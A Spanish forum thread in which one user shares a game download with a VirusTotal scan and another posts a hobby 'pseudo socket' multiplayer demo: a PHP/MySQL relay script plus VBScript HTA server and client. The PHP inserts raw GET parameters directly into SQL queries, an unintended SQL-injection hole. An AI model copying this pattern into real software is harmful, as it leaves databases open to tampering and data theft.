Analizáis VirusTotal: https://www.virustotal.com/es/file/147332bcb2bd061c3e1ecc3f8725b94db02a62605ff03c6ce0f7d03b44be5668/analysis/1435028129/

SHA256:   147332bcb2bd061c3e1ecc3f8725b94db02a62605ff03c6ce0f7d03b44be5668
Nombre:   Space Invaders 2.0.exe
Detecciones:   0 / 57
Fecha de análisis:   2015-06-23 02:55:29 UTC ( hace 2 minutos )


Codigo fuente (sourcecode):

* /para jugarlo primero hay que extraerlo */

ZIP:  https://mega.nz/#!q501VRJZ - 27mb

RAR: https://mega.nz/#!Gk1EHahI - 19mb
#8
#include <iostream>

int main()
{
 std::cout << "Buenas foro!";
}
en mi tiempo libre , a modo de hobby programo juegos 2d en VBS+HTA y hace poco quise volver a hacer uno con sockets y me encontre con que desde windows 7 en adelante la cosa de los sockets se complica. Y pense hago un "socket server" y para que sea online y gratuito hice una simple base de datos en un server gratuito y un script php que se encarga de leer y actualizar en la base de datos las posiciones y estados de todos los elementos del juego.
en fin. nada del otro mundo pero una solucion rapida para los que quieren un atajo bastante ineficiente pero mucho mucho mas corto  :P


index.php


<HTML>
<HEAD>
<TITLE>Servidor - Pseudo Socket by JohnConnor</TITLE>
</HEAD>
<BODY>
<?
$con = mysqli_connect("mysql.h********.com.ar","usuario_data","*******");
mysqli_select_db($con,"basededatos_sisdb");
$conexión = $_GET['tc'];
If ($conexión == "crear") {
$ns = $_GET['ns'];
$ds = $_GET['ds'];
mysqli_query($con,"insert into servidores (servername,dataserver,dataclient) values ('$ns','$ds','vacio')");
}
If ($conexión == "jugador1") {
$idserver = $_GET['sid'];
$ds = $_GET['ds'];
$result = mysqli_query($con,"Update servidores Set dataserver='$ds' Where id='$idserver'");
mysqli_query($con,$result);
$result2 = mysqli_query($con,"SELECT *
FROM  `servidores`
WHERE  `id` = ".$idserver."
LIMIT 1");
while($row = mysqli_fetch_array($result2)) {
echo $idserver;
echo "@";
echo $row[servername];
echo "@";
echo $row[dataserver];
echo "@";
echo $row[dataclient];
}
}
If ($conexión == "jugador2") {
$idserver = $_GET['sid'];
$dc = $_GET['dc'];
$resultdc = mysqli_query($con,"Update servidores Set dataclient='$dc' Where id='$idserver'");
mysqli_query($con,$resultdc);
$result2dc = mysqli_query($con,"SELECT *
FROM  `servidores`
WHERE  `id` = ".$idserver."
LIMIT 1");
while($row = mysqli_fetch_array($result2dc)) {
echo $idserver;
echo "@";
echo $row[servername];
echo "@";
echo $row[dataserver];
echo "@";
echo $row[dataclient];
}
}
If ($conexión == "spectator") {
$idserver = $_GET['sid'];
$resultsp = mysqli_query($con,"SELECT *
FROM  `servidores`
WHERE  `id` = ".$idserver."
LIMIT 1");
while($row = mysqli_fetch_array($resultsp)) {
echo $idserver;
echo "@";
echo $row[servername];
echo "@";
echo $row[dataserver];
echo "@";
echo $row[dataclient];
}
}




mysqli_close($con);
?>
</BODY>
</HTML>




Server VBS (a modo de demostración)

Código (vb) [Seleccionar]

<HTML>

<HEAD>
  <TITLE>JugadorUno Socket_Server by JohnConnor</TITLE>

  <HTA:APPLICATION
  ID = "JCApp"
  APPLICATIONNAME = "JugadorUno Socket_Server by JohnConnor"
  BORDER = "thick"
  CAPTION = "yes"
  ICON = "app.ico"
  SHOWINTASKBAR = "yes"
  SINGLEINSTANCE = "yes"
  SYSMENU = "yes"
  WINDOWSTATE = "normal"
  SCROLL = "yes"
  SCROLLFLAT = "yes"
  VERSION = "1.0"
  INNERBORDER = "yes"
  SELECTION = "no"
  MAXIMIZEBUTTON = "yes"
  MINIMIZEBUTTON = "yes"
  NAVIGABLE = "yes"
  CONTEXTMENU = "yes"
  BORDERSTYLE = "normal"
  >
</HEAD>

<BODY>
 <DIV id="pos">0</div>
<img src="ju.png" id="jugadoruno">

<img src="jd.png" id="jugadordos">
</BODY>

</HTML>
<SCRIPT LANGUAGE="VBScript">
Dim Socket
Set Socket = CreateObject("MSXML2.XMLHTTP")

Dim TeclaW
Dim TeclaS
Dim TeclaA
Dim TeclaD
Dim JUposX
Dim JUposY
Dim JDposX
Dim JDposY
jugadoruno.Style.Position = "Absolute"
jugadordos.Style.Position = "Absolute"

Public Sub Window_OnLoad()
Self.ResizeTo 800,600
Call SocketServer()
Call Main()
End Sub

Public Sub Main()
On Error Resume Next
jugadoruno.style.top = cint(JUposY)
jugadoruno.style.left = cint(JUposX)
jugadordos.style.top = cint(JDposY)
jugadordos.style.left = cint(JDposX)
If TeclaW = 1 Then : Call juMovY(-5) : ENd If
If TeclaS = 1 Then : Call juMovY(5) : End If
If TeclaA = 1 Then : Call juMovX(-5) : End If
If TeclaD = 1 Then : Call juMovX(5) : End If
Tiempo = Window.SetTimeOut("Main()",27)
End Sub


Public Sub juMovX(mov)
JUposX = JuposX + cInt(mov)
End Sub
Public Sub juMovY(mov)
JUposY = JuposY + cInt(mov)
End Sub



Public Sub Document_OnKeyPress
If Window.Event.KeyCode = "119"  Or Window.Event.KeyCode = "87"  Then : TeclaW = 1 : End If
If Window.Event.KeyCode = "115"  Or Window.Event.KeyCode = "83"  Then : TeclaS = 1 : End If
If Window.Event.KeyCode = "97"  Or Window.Event.KeyCode = "65"  Then : TeclaA = 1 : End If
If Window.Event.KeyCode = "100"  Or Window.Event.KeyCode = "68"  Then : TeclaD = 1 : End If
End Sub
Public Sub Document_OnKeyUp
If Window.Event.KeyCode = "87" Then : TeclaW = 0 : End If
If Window.Event.KeyCode = "83" Then : TeclaS = 0 :  End If
If Window.Event.KeyCode = "65" Then : TeclaA = 0 : End If
If Window.Event.KeyCode = "68" Then : TeclaD = 0 : End If
End Sub


Public Sub SocketServer()
Socket.Open "GET", "http://spaceinvaders2.hol.es/?sid=2&tc=jugador1&ds=" & JuposX & ":" & JUposY , False
Socket.Send
A_JUPOS = Split(Socket.ResponseText,"@")
B_JUPOS = Split(A_JUPOS(3),":")
JDposX = B_JUPOS(0)
JDposYa = Split(B_JUPOS(1),"<")
JDposY = JDposYa(0)
pos.innerhtml = JDposX & " - " & JDposY
TiempoS = Window.SetTimeOut("SocketServer()",500)
End Sub

</SCRIPT>






y por utlimo el cliente:

Código (vb) [Seleccionar]
<HTML>

<HEAD>
  <TITLE>JugadorDos Socket_Client by JohnConnor</TITLE>

  <HTA:APPLICATION
  ID = "JCApp"
  APPLICATIONNAME = "JugadorDos Socket_Client by JohnConnor"
  BORDER = "thick"
  CAPTION = "yes"
  ICON = "app.ico"
  SHOWINTASKBAR = "yes"
  SINGLEINSTANCE = "yes"
  SYSMENU = "yes"
  WINDOWSTATE = "normal"
  SCROLL = "yes"
  SCROLLFLAT = "yes"
  VERSION = "1.0"
  INNERBORDER = "yes"
  SELECTION = "no"
  MAXIMIZEBUTTON = "yes"
  MINIMIZEBUTTON = "yes"
  NAVIGABLE = "yes"
  CONTEXTMENU = "yes"
  BORDERSTYLE = "normal"
  >
</HEAD>

<BODY>
<img src="ju.png" id="jugadoruno">

<img src="jd.png" id="jugadordos">
</BODY>

</HTML>
<SCRIPT LANGUAGE="VBScript">
Dim Socket
Set Socket = CreateObject("MSXML2.XMLHTTP")

Dim TeclaW
Dim TeclaS
Dim TeclaA
Dim TeclaD
Dim JUposX
Dim JUposY
Dim JDposX
Dim JDposY
jugadoruno.Style.Position = "Absolute"
jugadordos.Style.Position = "Absolute"

Public Sub Window_OnLoad()
Self.ResizeTo 800,600
Call SocketServer()
Call Main()
End Sub

Public Sub Main()
On Error Resume Next
jugadordos.style.top = cint(JUposY)
jugadordos.style.left = cint(JUposX)

If TeclaW = 1 Then : Call juMovY(-5) : ENd If
If TeclaS = 1 Then : Call juMovY(5) : End If
If TeclaA = 1 Then : Call juMovX(-5) : End If
If TeclaD = 1 Then : Call juMovX(5) : End If
Tiempo = Window.SetTimeOut("Main()",27)
End Sub


Public Sub juMovX(mov)
JUposX = JuposX + cInt(mov)
End Sub
Public Sub juMovY(mov)
JUposY = JuposY + cInt(mov)
End Sub



Public Sub Document_OnKeyPress
If Window.Event.KeyCode = "119"  Or Window.Event.KeyCode = "87"  Then : TeclaW = 1 : End If
If Window.Event.KeyCode = "115"  Or Window.Event.KeyCode = "83"  Then : TeclaS = 1 : End If
If Window.Event.KeyCode = "97"  Or Window.Event.KeyCode = "65"  Then : TeclaA = 1 : End If
If Window.Event.KeyCode = "100"  Or Window.Event.KeyCode = "68"  Then : TeclaD = 1 : End If
End Sub
Public Sub Document_OnKeyUp
If Window.Event.KeyCode = "87" Then : TeclaW = 0 : End If
If Window.Event.KeyCode = "83" Then : TeclaS = 0 :  End If
If Window.Event.KeyCode = "65" Then : TeclaA = 0 : End If
If Window.Event.KeyCode = "68" Then : TeclaD = 0 : End If
End Sub


Public Sub SocketServer()
Socket.Open "GET", "http://spaceinvaders2.hol.es/?sid=2&tc=jugador2&dc=" & JuposX & ":" & JUposY , False
Socket.Send
A_JUPOS = Split(Socket.ResponseText,"@")
B_JUPOS = Split(A_JUPOS(2),":")
JDposX = B_JUPOS(0)
JDposY = B_JUPOS(1)
On Error Resume Next
jugadoruno.style.top = cint(JDposY)
jugadoruno.style.left = cint(JDposX)
TiempoS = Window.SetTimeOut("SocketServer()",500)
End Sub

</SCRIPT>





Aclaro que es una demostracion simplemente porque solo se mueven dos jugadores por una ventana, y solo se actualiza al pular una tecla.


Bueno, como ven no soy bueno explicando pero cualquier duda concreta que tengan o ayuda que necesiten comenten. Saludos